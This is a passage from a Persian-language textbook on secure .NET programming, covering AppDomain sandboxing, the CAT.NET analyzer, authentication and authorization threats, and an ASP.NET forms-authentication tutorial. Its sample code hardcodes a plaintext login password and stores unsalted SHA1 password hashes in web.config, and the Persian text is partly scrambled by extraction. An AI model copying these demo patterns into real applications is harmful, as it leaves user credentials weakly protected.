AppDomainSetup adSetup = new AppDomainSetup(); 

adSetup.ApplicationBase = Path.GetFullPath(pathToUntrusted); 

یا استفاده از پارامترهایی که تعریف کردیم،  برنامه یبرای ایجاد دامنه .4

CreateDomain(String, Evidence, AppDomainSetup, PermissionSet, StrongName[])  را

 فراخوانی کنید.

 این روش به شکل زیر است:امضای  

public static AppDomain CreateDomain(string friendlyName,  

    Evidence securityInfo, AppDomainSetup info, PermissionSet grantSet, 

params StrongName[] fullTrustAssemblies) 

 اطلاعات اضافه:

  همین فقطoverload  تابعاز CreateDomain  است کهPermissionSet  را به عنوان یک پارامتر

دهد تا یک برنامه را تحت عنوان نسبتاً قابل ازه میپذیرد، بنابراین تنها روشی است که به شما اجمی

 کنید. بارگذاریاعتماد، 

 پارامتر evidence گیرد، بلکه به وسیله برای محاسبه یک مجموعه مجوز، مورد استفاده قرار نمی

 شود.برای تشخیص هویت استفاده می نتچارچوب داتاجزای دیگری از 

  ویژگی تنظیمApplicationBase  پارامترinfo  برای اینoverload .اجباری است 

  کلیدواژهparams  متعلق به پارامترfullTrustAssemblies باشد که به این معناست که اجباری می

 باشد.به عنوان پارامتر مجاز می های قوی دیگر، یا نام1، 0 ارسالبرای ایجاد آرایه نیست. 

 :کد ایجاد کننده دامنه برنامه، کد زیر است 

AppDomain newDomain = AppDomain.CreateDomain("Sandbox", null, 

adSetup, permSet, fullTrustAssembly); 
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کنید. این کار در دو روش قابل انجام  بارگذاریاید، که ایجاد کرده sandboxingکد را درون دامنه  .5

 باشد:می

  فراخوانیExecuteAssembly .برای اسمبلی 

  روشاستفاده از CreateInstanceFrom ایجاد یک نمونه کلاس که  برای

 .شودمشتق میجدید،  AppDomainدرون   MarshalByRefObjectاز 

کند. روش تر میسادهجدید  AppDomainپارامتر را به نمونه  ارسالچون  دوم بهتر استروش 

CreateInstanceFrom مهم دارد: یدو مشخصه 

 کند که شامل اسمبلی شما نیست.کنید که به مکانی اشاره میتوانید از پایه کدی استفاده می 

 ایجاد نمونه را تحت یک  توانیدمیAssert  برای اطمینان کامل

(PermissionState.Unrestricted) ،ای از شود ایجاد نمونهکه موجب می انجام دهید

افتد که اسمبلی شما هیچ گونه می )این عمل زمانی اتفاق های بحرانی ممکن شود.کلاس

شده باشد.(  بارگذارینداشته باشد و به عنوان کاملاً قابل اعتماد نویسی شفافیت حاشیه

د که تنها کدهای مطمئن را با این قابلیت ایجاد کنید. توصیه یبنابراین باید دقت داشته باش

جدید برنامه، ایجاد  یامنههای کاملاً قابل اعتماد را درون دهای کلاسشود فقط نمونهمی

 نمایید.

ObjectHandle handle = Activator.CreateInstanceFrom( 

newDomain, typeof(Sandboxer).Assembly.ManifestModule.FullyQualifiedName, 

       typeof(Sandboxer).FullName ); 

بایست، می موردنظرید، کلاس جد یای از یک کلاس در یک دامنهتوجه کنید که برای ایجاد نمونه

 را گسترش دهد.  MarshalByRefObjectکلاس 

class Sandboxer:MarshalByRefObject 

 

های دامنه جدید را به عنوان مرجع در این دامنه، آزاد کنید. این مرجع برای اجرای کد ینمونه .6

 شوند.غیرقابل اطمینان استفاده می

Sandboxer newDomainInstance = (Sandboxer) handle.Unwrap(); 

 

اید، که به تازگی ایجاد کرده Sandboxerای از کلاس را در نمونه ExecuteUntrustedCodeروش  .7

 فراخوانی کنید.

newDomainInstance.ExecuteUntrustedCode(untrustedAssembly, untrustedClass, 

entryPoint, parameters); 
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 که مجوزهای محدودی دارد. شودمیبرنامه اجرا  sandboxون این فراخوانی، در دامنه در 

public void ExecuteUntrustedCode(string assemblyName, string typeName, 

string entryPoint, Object[] parameters) 

    { 

        MethodInfo target = Assembly.Load(assemblyName)  

              .GetType(typeName).GetMethod(entryPoint); 

        try 

        { 

            target.Invoke(null, parameters); 

        } 

        catch (Exception ex) 

        { 

            (new PermissionSet (PermissionState.Unrestricted))  

                 .Assert(); 

            Console.WriteLine("SecurityException caught:\n{0}", 

                 ex.ToString()); 

            CodeAccessPermission.RevertAssert(); 

            Console.ReadLine(); 

        } 

    } 

 (CAT.NETنت مایکروسافت )ابزار تحلیل کد دات 4-3-4

است که به تشخیص عیوب امنیتی رایج در کدهای  ابزار تحلیل کد باینرییک  CAT.NETابزار تحلیل کد 

 ها عبارتند از:یپذیرکند. این آسیبشده، کمک میمدیریت

  سایتیبیناسکریپت 

  تزریقSQL 

 تزریق دستور پردازش 

 اطلاعات استثنا 

  تزریقLDAP 

  تزریقXPATH 

  شده توسط کاربرکنترلسایت هدایت کاربر به 

کند. کیفیت کد را بهبود بخشیده و به رسیدن به بهترین تجربیات امنیتی کمک می CAT.Netابزار 

کند. چیزی که همیشه باید هنگام استفاده از ابزار مایکروسافت از این ابزار برای مرور امنیتی استفاده می
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ی از این گونه نتایج تولید گاه Cat.Netاست.  1خودکار تحلیل کد به یاد داشته باشید نتایج مثبت نادرست

 کند.می

 ( به کار برد.SDLتولید امنیتی ) ی حیاتچرخهسازی از را باید در فاز پیاده CAT.Netابزار 

گیرد. ی که مورد تحلیل قرار میdllرو هستیم نظیر اندازه روبههایی با محدودیت CAT.Netهنگام استفاده از 

تر های بزرگتحلیل کرد. برای اندازه CAT.NETتوان با ابزار را می MB 18با اندازه  dllیک 

Out_of_memory  بیت. 64بیت نه در  32های . البته فقط در دستگاهشودمیاعلام 

 استفاده کرد: توانمیرا برای چهار سناریوی مختلف  CAT.NETابزار 

 ویژوال استودیوبرای  snap-inیک  .1

 خط فرمانیک ابزار  .2

 و FxCopبه عنوان یک قانون  .3

 MSBuildسفارشی  ییک وظیفه به عنوان VSTF TeamBuild به صورت یکپارچه با .4

 استفاده خواهیم کرد. خط فرمان در این مثال آزمایشی از ابزار 

  ای که پوشهرا باز کرده و به خط فرمانCATNetCmd64.exe .در آن قرار گرفته است، بروید 

  فرمان“CATNetCmd64.exe /file:”catnet.dll” . را تایپ کنید/file  نام اسمبلی را برای آنالیز

 کند.کردن، قبول می

 آمیز بودن، موفقیتشود و در صورت آغاز می تحلیلکنید که عملیات پس از این کار، مشاهده می

 آمیز:موفقیت تحلیلنمایش پس از یک  یگردد. صفحهگزارشی تولید می

                                                   

 

 

1 False Positive 
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 CAT.Net: صفحه نمایش پس از یک تحلیل موفق توسط 6-4شکل 

مشاهده  report.html، با نام ct.netیرکتوری امربوط به د یدر مسیر ریشه توانیدمیگزارش تولید شده را 

 کنید.

 بینید:میگزارش نمونه برای مثال بالا را در شکل زیر 

 

 CAT.Net: نمونه گزارش تولید شده توسط 7-4شکل 

  

http://niiconsulting.com/checkmate/wp-content/uploads/2013/05/sunilyadav_634358879292070000_3.jpg
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 نتاحراز هویت و مجازشماری در دات 5

 مدیریت هویت دو رویه مهم دارد: احراز هویت و مجاز شماری.

  احراز هویت فرایند کشف هویت یک موجودیت از طریق یک شناسه و بررسی هویت از طریق

 شده توسط موجود در برابر یک منبع موثق است. ارایههای رسنجی اعتبارنامهاعتبا

  مجازشماری فرایند تعیین این مساله است که یک هویت مجاز به انجام عمل درخواست شده هست

 یا خیر.

 

 احراز هویت 1-5

اگر  .استه نام کاربری، گذرواژاعتبارات آن مانند احراز هویت فرایند شناسایی یک کاربر با استفاده از 

مجاز شناخته  نهادآمیز بود موجودیتی که اعتبارنامه خود را ارسال کرده است به عنوان یک شناسایی موفقیت

 کند.فرایند مجازشماری برای نهاد مجاز شده دسترسی آن را به منابع موجود مشخص می شود.می

 یک کاربر از طریق سه نوع اعتبارنامه قابل احراز هویت است:

 داند )دانش(؛ مثلاً یک گذرواژه یا بر اساس آنیه که یک کاربر میPIN 

  یا یک دانگل  نامهگواهیبراساس آنیه که کاربر در اختیار دارد )مالکیت(؛ مانند یکUSB 

 )؛ مانند اثر انگشت یا دنباله  بر اساس آنیه کاربر هست )ذاتDNA 

سازی ناصحیح، وجود دارد. انتخاب نادرست و پیاده های موجود، چندین مکانیزم احراز هویتبسته به نیاز

ترین تهدیداتی که با پذیر کند. محتملتواند مکانیزم احراز هویت را در مقابل تهدیدهای خارجی آسیبمی

 رسانند، عبارتند از:به سیستم آسیب می استفاده از نقاط ضعف فرایند احراز هویت

 1ود شبکهشن 

 2حملات جستجوی فراگیر 

                                                   

 

 

1 Network Eavesdropping 

2 Force-Brute 
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  1دیکشنریحملات 

 2حملات تکرار کوکی 

 3سرقت اعتبارنامه 

 احراز هویت یتهدیدهای رایج در زمینه 1-1-5

 شنود ترافیک شبکه  

، یک ارسال شود به سمت کارگزار کارخواهشده از ینگاررمزیرغبه صورت  یتاحراز هو هاینامهر اعتبارگا

 ی عبورکلمهتواند نام کاربری و افزار ساده رصد ترافیک شبکه میمهاجم در همان شبکه با استفاده از یک نرم

 های شنود ترافیک شبکه:را به راحتی به دست آورد. اقدامات لازم برای جلوگیری از آسیب کارخواه

 دهد. مانند پروتکل که انتقال نمیها را بر روی شبهای احراز هویت که گذرواژهاستفاده از مکانیزم

 کربروز و احراز هویت ویندوز.

 ها از طریق شبکه( یا استفاده از یک ها )در صورت نیاز به انتقال گذرواژهرمزنگاری کردن گذرواژه

 SSLکانال ارتباطی رمزنگاری شده مانند پروتکل 

  جستجوی فراگیرحملات  

های ز کامپیوترهای قدرتمند سعی در شکستن گذرواژهدر حملات همه جانبه مهاجمان با استفاده ا

اند، دارند. برای کاهش سازی شدهسازی شده و یا دیگر اطلاعات امنیتی که رمزگذاری یا درهمدرهم

 های دارای طول و فضای جستجوی بیشتر استفاده کرد.توان از گذرواژهپذیری میآسیب

  حملات دیکشنری 

 باشند،هایی که دارای گذرواژه میشود. اکثر سیستماستفاده می هادن گذرواژهاین حمله برای به دست آوراز 

سازی از ذخیره هاآن. کنندو رمزنگاری شده ذخیره نمی (غیررمزنگاری شدهواضح )ها را به صورت گذرواژه

                                                   

 

 

1 Dictionary Attack 

2 Cookie Replay Attack 

3 Credential theft 



  نتنویسي امن در داتبرنامه 

144 

 

 
 

ها قابل گذرواژه یکنند چون که با افشا شدن کلید رمزنگاری، همههای رمزنگاری شده پرهیز میگذرواژه

کنند )یا به سازی شده ذخیره میهای کاربران خود را به صورت درهمها گذرواژهاکثر سیستم بازیابی است.

ها و سازی دوباره گذرواژهبنابراین در این سیستم فرایند احراز هویت کاربران با درهم صورت عددی(.

سازی شده به دست های درهمل اگر لیست گذرواژهشود. حابا مقادیر ذخیره شده انجام می هاآنمقایسه 

سازی شده را بشکند. در این های درهمتواند گذرواژهمهاجمی بیفتد، تنها با یک حمله جستجوی فراگیر می

های مختلف زباننوع حمله )حملات دیکشنری( مهاجم با استفاده از یک دیکشنری یا چندین دیکشنری به 

های سازی حاصل را با مقادیر گذرواژهپردازد. مقادیر درهمزی کلمات مختلف میسامقدار درهم یبه محاسبه

شوند. ضعیف به آسانی شکسته میهای گذرواژهکند. در این صورت میشده مقایسه سازی درهم

 تری شکسته خواهند شد. قدرتمند با احتمال ضعیف هایگذرواژه

تواند به صورت آفلاین شده را به دست آورد این حمله میسازی های درهمکه مهاجم لیست گذرواژهزمانی

 انجام شود و احتیاجی به تعامل با برنامه نیست.

 های این نوع حمله:اقدامات لازم برای جلوگیری از آسیب

 های قوی و پیییده مثلا شامل حروف کوچک، بزرگ انگلیسی به همراه اعداد و هاستفاده از گذرواژ

 کاراکترهای خاص.

 سازی گذرواژهذخیره(ها به صورت غیرقابل برگشت و ترکیب یک مقدار تصادفیsalt برای )

 ها.سازی گذرواژهدرهم

 يحملات تکرار کوک 

شده را به دست آورده  یتکاربر احراز هو ینظارت، کوک یهاافزارنرممهاجم با استفاده از  ،نوع حمله ینا در

 .کندیم یداپ یکاذب به منابع دسترس یتهو یکتحت  یو با ارسال آن به برنامه کاربرد

 نوع حمله: ینا هاییباز آس یریجلوگ یلازم برا اقدامات

 فراهم شده با  ،شده یرمزنگار یکانال ارتباط یکاز  استفادهssl ،احراز  یکوک یک کهیزمان یبرا

 .یابدیتقال منا یتهو

 یتاحراز هو یکوک یک ینسبتا کوتاه به عنوان حداکثر زمان اعتبار برا یفاصله زمان یکدادن  قرار 

با کاهش فاصله  یکرد ول یریتکرار جلوگ یهااز حمله توانیروش نم ینشده. اگرچه با استفاده از ا
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به  سهدارند چرا که مدت زمان جل دوباره یتبه احراز هو یازن ،حمله تکرار یمهاجمان برا یزمان

 ت.اس یدهرس یانپا

 سرقت اعتبارنامه 

ند. اگر ترمینال کذخیره می ههای آیندبرای استفادهنهان مرورگر اطلاعات ورود کاربر را  یتاریخیه و حافظه

شخص مجاز قابل دسترس باشد، اطلاعات ورود او برای دیگران قابل علاوه بر مرورگر توسط افراد دیگر 

 است. یدسترس

 های این نوع حمله:باقدامات لازم برای جلوگیری از آسی

 ها قویاستفاده از گذرواژه 

 سازی با استفاده از سالت افزوده شدههای درهمها با استفاده از یکی از روشسازی گذرواژهذخیره 

 قفل کردن حساب کاربری بعد از تعدادی تلاش ناموفق برای ورود 

 سازی اطلاعات ورود در کش مرورگر ایجاد شود.قابلیت عدم ذخیره 

 مجازشماری ۲-5

ها را یا سرویس بر اساس هویت و قواعد عضویت اجازه دسترسی یا عدم دسترسی به بخشی از منابع و

ترین تهدیداتی که از نقاط ضعف فرایند احراز هویت برای آسیب زدن به سیستم استفاده سازد. مهمفراهم می

 شود، عبارتند از:می

 1افزایش امتیاز 

 های محرمانهافشای داده 

 داده کاریدست 

 2های فریبحمله 

                                                   

 

 

1 Elevation of privilege 

2 Luring Attacks 
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 مجازشماری یتهدیدهای رایج در زمینه 1-۲-5

 افزایش امتیاز 

مدل مجازشماری باید تلاش مهاجمان در افزایش امتیاز برای قدرتمندتر کردن یک  طراحیهنگام 

اهد با انجام این کار مهاجم قادر به کنترل بیشتر برنامه کاربردی خو کاربری خود در نظر گرفته شود.حساب

از یک مؤلفه ممکن   RevertToSelf تابعکلاسیک با فراخوانی  ASPنویسی بود. به عنوان مثال در برنامه

 کاربری با حداکثر امتیاز و قدرت شود. حساباست منجر به ایجاد یک 

نظر گرفتن حداقل امتیاز ممکن  ترین اقدامات لازم برای جلوگیری از بالا بودن امتیاز اعطایی، درمهم

 های کاربری است.ها برای حسابها و سرویسدسترسی به فرایند

 های محرمانهافشای داده 

دهد که اطلاعات حساس توسط کاربران غیرمجاز مورد دسترسی قرار افشای اطلاعات محرمانه زمانی رخ می

، اطلاعات های اعتباریهای کارتگیرد. اطلاعات محرمانه شامل اطلاعات برنامه کاربردی از قبیل شماره

یا  های کاربری وکارکنان و سوابق مالی همراه با اطلاعات پیکربندی برنامه کاربردی از قبیل اعتبارات حساب

در  هاآناست. برای جلوگیری از افشای اطلاعات محرمانه باید امنیت  دادهپایگاهاتصال به  یرشته

های مختص خود از قادر به دسترسی به دادهسازی و انتقال در شبکه تضمین گردد. تنها کاربران مجذخیره

 های پیکربندی باید تنها توسط مدیران قابل دستیابی باشند.هستند. دسترسی به داده

 :نوع حمله ینا هاییباز آس یریجلوگ یلازم برا اقدامات

 توانند اطلاعات حساس را فاش هایی که به صورت بالقوه میبررسی اجازه دسترسی به عملیات

 کنند.

 های کنترل دسترسی قوی برای تامین امنیت منابع ویندوزلیست استفاده از 

 های پیکربندی و سازی اطلاعات حساس در فایلاستفاده از استاندارد رمزگذاری برای ذخیره

 ها.دادهپایگاه

 هاداده کاریدست 

 کند.ها اشاره میها به تغییر و اصلاح غیرمجاز در دادهداده کاریدست

 :نوع حمله ینا هاییباز آس یریجلوگ یلازم برا اقدامات
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 ها و حصول اطمینان دادهپایگاههای کنترل دسترسی برای محافظت از اطلاعات در استفاده از مکانیزم

 ها از جلوگیری دسترسی و تغییر غیرمجاز داده

  ای را توانند دادهکه میاستفاده از مکانیزم امنیتی مبتنی بر نقش برای ایجاد تفاوت بین کاربرانی

 توانند آن داده را تغییر دهند.مشاهده کنند با کاربرانی که می

 حملات فریب 

دهد که یک نهاد با اجازه دسترسی پایین قادر به داشتن یک نهاد با اجازه این نوع حمله زمانی رخ می

 دسترسی بیشتر و انجام یک عمل از طرف آن باشد.

باید با احراز هویت مناسب اجازه دسترسی را محدود کنیم. استفاده از امنیت  برای مواجهه با این تهدید

تواند در این زمینه مفید باشد چرا که مجوز کد فراخواننده را هنگام دسترسی به نت میدسترسی به کد دات

 کند.یک منبع امن یا انجام یک عمل ممتاز بررسی می

 ASP.NETاحراز هویت در  3-5

هایی شامل کدهای لازم برای احراز کنندگان احراز هویت ماژولاز طریق فراهم ASP.NETاحراز هویت در 

کنندگان احراز هویت موجود در کند. مباحث این بخش فراهمسازی میهویت اعتبارات کاربران پیاده

ASP.NET دهد.را توضیح می 

 از هویت است.کننده احردارای دو فراهم ASP.NETگونه که در جدول زیر آمده، همان

 ASP.NET تیهو احراز گانکنندفراهم: 1-5جدول 

 تعریف کنندهفراهم

کننده احراز فراهم

 هویت ویندوز

 Internetاطلاعاتی را درباره چگونگی به کارگیری احراز هویت ویندوز با احراز هویت 

Information Services های کاربردی برای امنیت برنامهASP.NET دهد.می ارایه 

کننده احراز فراهم

 هویت فرم

دهد. یک می ارایهاطلاعاتی را درباره چگونگی ایجاد فرم ورود مخصوص برنامه و احراز هویت 

 ASP.NETهای احراز هویت استفاده از کنترل ورود و عضویت حل مناسب برای کار با فرمراه

 هاآنآوری اعتبارات کاربر و تصدیق هویت و مدیریت است. که با یکدیگر یک راه برای جمع

 نمایند.می ارایهبدون هیچ کدی 
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 فرم تیکننده احراز هوفراهم 1-3-5

فرم ورود ایجاد  درکه  ایگذرواژهکاربری و نامتا کاربران را با د نسازهای احراز هویت شما را قادر میفرم

های غیرمجاز به منابع به صفحه ورود تغییر مسیر داده درخواست .کنند، احراز هویت کنیدمیوارد شده 

کند این بلیط رود سیستم بلیطی را تولید میکاربردی می یشوند. هنگامی که درخواستی به سمت برنامهمی

 های بعدی است.هویت برای درخواست دوبارهشامل یک کلید برای برقراری 

 های احراز شدهکرده و سپس هویت دهد تا کاربران را احراز هویتاز هویت به شما اجازه میهای احرفرم

از  ASP.NETصفحه  ی حیاتچرخههای احراز هویت در شود. فرمکوکی یا آدرس صفحه حفظ در یک 

های احراز توانید به اطلاعات فرمحضور دارند. شما می FormsAuthenticationModuleطریق کلاس 

 دسترسی داشته باشید. FormsAuthenticationاز طریق کلاس  هاآنهای ت و قابلیتهوی

آوری اعتبارات از کاربران که شامل ورودی برای جمع یصفحه های احراز هویت،برای استفاده از فرم

بردی های کارشود. معمولا در پیکربندی برنامهکدهایی برای مجازشماری اعتبارات کاربران است، ایجاد می

شوند. اگر اعتبارات کاربر ورود برگردانده می یهای غیرمجاز به منابع حفاظت شده به صفحهدرخواست

شده اصلی درخواستبرای تغییر مسیر درخواست به منبع  FormsAuthenticationهای کلاس تابعمعتبر بود 

تغییر مسیر انجام دهید تنها . اگر نخواهید که شودمیبا یک احراز هویت مناسب مانند کوکی فراخوانی 

های بعدی مرورگر کاربر، را تنظیم نمایید. در درخواست هاآنها را بگیرید یا های احراز هویت کوکیفرم

 شود.کند که از صفحه ورود رد میهای احراز هویت را به همراه درخواست ارسال میکوکی

ترین مورد یک صفحه شوند. در سادههای احراز هویت پیکربندی میهای احراز هویت با استفاده از تگفرم

های غیرمجاز به آن یا مشخص وجود دارد که درخواست URLورود وجود دارد. در فایل پیکربندی تنها یک 

یا  Web.configر را در فایل شوند. شما سپس معتبر بودن اعتبارات کاربورود تغییر مسیر داده می یصفحه

ورود و اعتبارنامه  ینمایید. در بخشی از فایل پیکربندی است که یک صفحهدر فایل دیگری تعریف می

 تابعها با استفاده از کند. گذرواژهاحراز هویت برای استفاده از روش احراز هویت مشخص می

HashPasswordForStoringInConfigFile اند.رمزگذاری شده 

<authentication mode="Forms"> 

   <forms name="SavingsPlan" loginUrl="/Login.aspx"> 

      <credentials passwordFormat="SHA1"> 

         <user name="Kim" 

               password="07B7F3EE06F278DB966BE960E7CBBD103DF30CA6"/> 

         <user name="John" 

               password="BA56E5E0366D003E98EA1C7F04ABF8FCB3753889"/> 

      </credentials> 
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   </forms> 

</authentication> 

 تنظیممقدار خصوصیات کاربر را  FormsAuthenticationModuleآمیز، ماژول بعد از احراز هویت موفقیت

زیر خواندن هویت  کدکند. به عنوان مثال ده اشاره میکه به عنوان یک مرجع به کاربر احراز هویت ش کندمی

 دهد.کاربر احراز هویت شده از طریق فرم را نشان می

String authUser2 = User.Identity.Name; 

 های ورودو کنترل ASP.NETهویت فرم، عضویت احراز  

های ورود است. و کنترل ASP.NETهای احراز هویت استفاده از عضویت یک راه مناسب برای کار با فرم

های احراز تابعکند و شامل امکان ذخیره و مدیریت اطلاعات کاربران را فراهم می ASP.NETعضویت 

منطق لازم برای  هاآن د.نکنکار می ASP.NETعضویت  با ASP.NETهای ورود . کنترلشودهویت کاربر می

جا جمع ها و غیره را در یکدرخواست اعتبارنامه از کاربر، اعتبارسنجی کاربران، ترمیم یا تغییر گذرواژه

 ها جایگزینکنند. این ویژگیهای احراز هویت فراهم ای از انتزاع روی فرمیک لایه در واقع هاآن کنند.می

 شود.های احراز هویت میبیشتر یا همه کارهای لازم برای استفاده از فرم

 احراز هویت فرم و سرویس احراز هویت 

 های احراز هویت به عنوان یکبه فرم ASP.NET توان با استفاده از سرویس احراز هویتمی چنینهم

WCF ای که توانایی ها از هر برنامهدسترسی داشت. سرویس احراز هویت شما را قادر به احراز هویت فرم

سازد. سرویس احراز هویت اعتبارات کاربر را دریافت دارد، می SOAP قالبارسال و دریافت یک پیام به 

ای که با توانید کاربران را از برنامهگرداند. به عنوان مثال شما میکند و فرم کوکی احراز هویت را برمیمی

 وارد کنید.نت توسعه داده نشده چارچوب دات

 تیساده احراز هو یهافرم یسازادهیپ يچگونگ 

دهد. این مثال را نشان می ASP.NETهای احراز هویت در سازی ساده از فرممثال این بخش یک پیاده

 دهد.نشان می ASP.NETهای کاربردی تحت های احراز هویت برای ورود به برنامهچگونگی استفاده از فرم

ای با نام درخواست دسترسی به یک منبع محافظت شده برای مثال صفحه در این مثال کاربران

Default.aspx  کاربریدارند. تنها یک کاربر با نام jchen@contoso.com 37گذرواژه  وYj*99P  به منبع

به صورت ثابت ثبت شده  Logon.aspxحفاظت شده دسترسی دارد. نام کاربری و گذرواژه برای فایل 

https://msdn.microsoft.com/en-us/library/system.web.security.formsauthenticationmodule.aspx
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ها نیاز دارد. این مجموعه فایل Default.aspxو  Web.config ،Logon.aspxبه سه فایل است. این مثال 

 کاربردی قرار دارند. یبرنامه یریشه یدر پوشه

 های احراز هویت برنامه کاربردی:پیکربندی فرم

 باز کنید. آن رارا دارد.  Web.configفایل  ،خود یریشه یکاربردی در پوشه یاگر برنامه .1

از قبل ندارد. فایل متنی با این نام  Web.configفایل  ،خود یریشه یکاربردی در پوشه یبرنامه اگر .2

 ایجاد نموده و به آن قطعه کد زیر را اضافه نمایید.

<?xml version="1.0"?> 

<configuration 

xmlns="http://schemas.microsoft.com/.NetConfiguration/v2.0"> 

<system.web> 

 

</system.web> 

</configuration> 

قرار دهید  Formsآن را  modeو خصیصه  authenticationیک تگ  system.webدرون تگ  .3

 گونه که در مثال زیر نشان داده شده است.همان

 تنظیم نآ یبرازیر را  یهایصهو سپس خص کرده یجادرا ا formsتگ  authenticationداخل تگ  .4

 :یدکن

a. loginUrl  راLogon.aspx یدکن تنظیم .Logon.aspx به آن  است که کاربر یاآدرس صفحه

را  یتهوز احرانشانه  یکوک ،نتواند همراه درخواست asp.netکه  یزمان شودیم یتهدا

 .ندک یداپ

b. name را مقدار ".ASPXFORMSAUTH" را  یپسوند نام کوک ،مقدار ینا .یدکن تنظیم

 است. یتاحراز هو یطبل یکه حاو ندکیم تنظیم

 ید.کن یجادا ار authorizationتگ  ،system.web داخل تگ .5

<system.web> 

  <authentication mode="Forms"> 

    <forms loginUrl="Logon.aspx" name=".ASPXFORMSAUTH"> 

    </forms> 

  </authentication> 

<authorization></authorization> 

</system.web> 
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. یدکن تنظیم "?"آن را  users یصهو مقدار خص یدکن یجادرا ا denyتگ  authorizationداخل تگ  .6

( امکان شوندینشان داده م "؟") توسط علامت  یرمجازکاربران غ که کندیعلامت مشخص م ینا

 .ندارند یبرنامه کاربرد ینا دربه منابع  یدسترس

<system.web> 

  <authentication mode="Forms"> 

    <forms loginUrl="logon.aspx" name=".ASPXFORMSAUTH"> 

    </forms> 

  </authentication> 

  <authorization> 

<deny users="?" /> 

  </authorization> 

</system.web> 

 را ذخیره کنید و آن را ببندید. Web.configفایل  .7

 ایجاد صفحه ورود

ای به نام کنند. به صفحهرا درخواست می سایتوبزمانی که کاربران احراز هویت نشده یکی از صفحات 

Logon.aspx شوند. شما نام این صفحه را در فایل تغییر مسیر داده میWeb.config .مشخص کنید 

کند. اگر کاربر به میگیرد و او را احراز هویت صفحه اعتبارات کاربر)آدرس ایمیل و گذرواژه( را می

ای که او درخواست داده بود آمیز احراز هویت شد صفحه ورود او را به سمت صفحهصورت موفقیت

 شود.دهد. در این مثال اعتبارات معتبر برای صفحه کد مستقیماً در کد صفحه درج میتغییر مسیر می

 برای ایجاد صفحه ورود:

 کاربردی ایجاد نمایید. یبرنامه ASP.NETفولدر  Logon.aspxای با نام صفحه .1

 کد زیر را در آن کپی کنید. .2

<%@ Page Language="C#" %> 

<%@ Import Namespace="System.Web.Security" %> 

 

<script runat="server"> 

  void Logon_Click(object sender, EventArgs e) 

  { 

    if ((UserEmail.Text == "jchen@contoso.com") &&  

            (UserPass.Text == "37Yj*99Ps")) 

      { 

          FormsAuthentication.RedirectFromLoginPage  

             (UserEmail.Text, Persist.Checked); 

      } 

      else 

      { 

          Msg.Text = "Invalid credentials. Please try again."; 
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      } 

  } 

</script> 

<html> 

<head id="Head1" runat="server"> 

  <title>Forms Authentication - Login</title> 

</head> 

<body> 

  <form id="form1" runat="server"> 

    <h3> 

      Logon Page</h3> 

    <table> 

      <tr> 

        <td> 

          E-mail address:</td> 

        <td> 

          <asp:TextBox ID="UserEmail" runat="server" /></td> 

        <td> 

          <asp:RequiredFieldValidator ID="RequiredFieldValidator1"  

            ControlToValidate="UserEmail" 

            Display="Dynamic"  

            ErrorMessage="Cannot be empty."  

            runat="server" /> 

        </td> 

      </tr> 

      <tr> 

        <td> 

          Password:</td> 

        <td> 

          <asp:TextBox ID="UserPass" TextMode="Password"  

             runat="server" /> 

        </td> 

        <td> 

          <asp:RequiredFieldValidator ID="RequiredFieldValidator2"  

            ControlToValidate="UserPass" 

            ErrorMessage="Cannot be empty."  

            runat="server" /> 

        </td> 

      </tr> 

      <tr> 

        <td> 

          Remember me?</td> 

        <td> 

          <asp:CheckBox ID="Persist" runat="server" /></td> 

      </tr> 

    </table> 

    <asp:Button ID="Submit1" OnClick="Logon_Click" Text="Log On"  

       runat="server" /> 

    <p> 

      <asp:Label ID="Msg" ForeColor="red" runat="server" /> 

    </p> 

  </form> 

</body> 

</html> 
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است  checkboxکند و یک آوری میهای کارگزار است که اطلاعات کاربران را جمعاین صفحه دارای کنترل

کند. مدیریت رویداد کلیک دکمه ورود، آدرس ایمیل و گذرواژه را با را ماندگار می هاآنکه حالت ورود 

کند. )گذرواژه قوی حاوی انواع کاراکترهای غیرالفبایی و با طول حداقل هشت مقادیر ثبت شده مقایسه می

 FormsAuthenticationاز کلاس  RedirectFromLoginPageاست.( اگر اعتبارات کاربر درست باشد، تابع 

دهنده پایایی شود که نشان( ارسال میcheckboxشود. نام کاربری و یک مقدار بولین )حاصل از فراخوانی می

دهد. اش تغییر مسیر میکاربر را به صفحه درخواستی تابعبلیط احراز هویت به عنوان یک کوکی است. این 

د. وارد کردن فضای نام شواگر اعتبارات کاربر درست نباشد، پیام خطا نمایش داده می

System.Web.Security  شامل کلاسFormsAuthentication .ضروری است 

 فرضپیشایجاد صفحه 

کنید چون که در فایل کاربردی ایجاد می یبرنامه یریشه یرا در پوشه asp.netبرای مثال شما یک صفحه 

یا چند  html یهانه فایل aspx.های با پسوند کابردی )فایل ییر مجاز به منابع برنامهغبران رکا ،پیکربندی

ی احراز هویت اعتبارات کاربر هاکند فرممیای( دسترسی ندارند. وقتی کاربر یک صفحه را درخواست رسانه

شده  دایجا یدهند. صفحهمیورود تغییر مسیر  یکنند و در صورت نیاز او را به صفحهمی بررسیرا 

را پاک  هاآن)کوکی(  کند و بلیط احراز هویت ماندگارمیبران را فراهم رامکان خروج برای کا چنینهم

 : فرضپیش یکند. برای ایجاد صفحهمی

 .کاربردی ایجاد کنید یبرنامه یریشه یدر پوشه default.aspxای بام نام صفحه .1

 .کد زیر ار در آن کپی کنید .2

<%@ Page Language="C#" %> 

<html> 

<head> 

  <title>Forms Authentication - Default Page</title> 

</head> 

 

<script runat="server"> 

  void Page_Load(object sender, EventArgs e) 

  { 

    Welcome.Text = "Hello, " + Context.User.Identity.Name; 

  } 

 

  void Signout_Click(object sender, EventArgs e) 

  { 

    FormsAuthentication.SignOut(); 

    Response.Redirect("Logon.aspx"); 

  } 

</script> 
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<body> 

  <h3> 

    Using Forms Authentication</h3> 

  <asp:Label ID="Welcome" runat="server" /> 

  <form id="Form1" runat="server"> 

    <asp:Button ID="Submit1" OnClick="Signout_Click"  

       Text="Sign Out" runat="server" /><p> 

  </form> 

</body> 

</html> 

شده  تنظیم FormsAuthenticationدهد که با استفاده از کلاس کاربر احراز هویت شده را نشان می یصفحه

ود است. مدیریت رویداد جمو Context.User.Identity.Nameبا خصیصه  ASP.NETو در یک صفحه 

را برای پاک کردن هویت کاربر و از بین بردن بلیط احراز هویت  SignOut تابع ،SignOutکلیک دکمه 

 شود.ورود تغییر مسیر داده می یکند. سپس کاربر به صفحه)کوکی( فراخوانی می

 ی احراز هویتهاکنترل جریان فرم 

 نشان داده شده است. ASP.netیت در ی احراز هوهاکنترل جریان فرمجدول زیر  در

 ASP.NETهای احراز هویت در : کنترل جریان فرم۲-5جدول 

 کارگزارپاسخ  عملیات مرورگر و پروتکل 

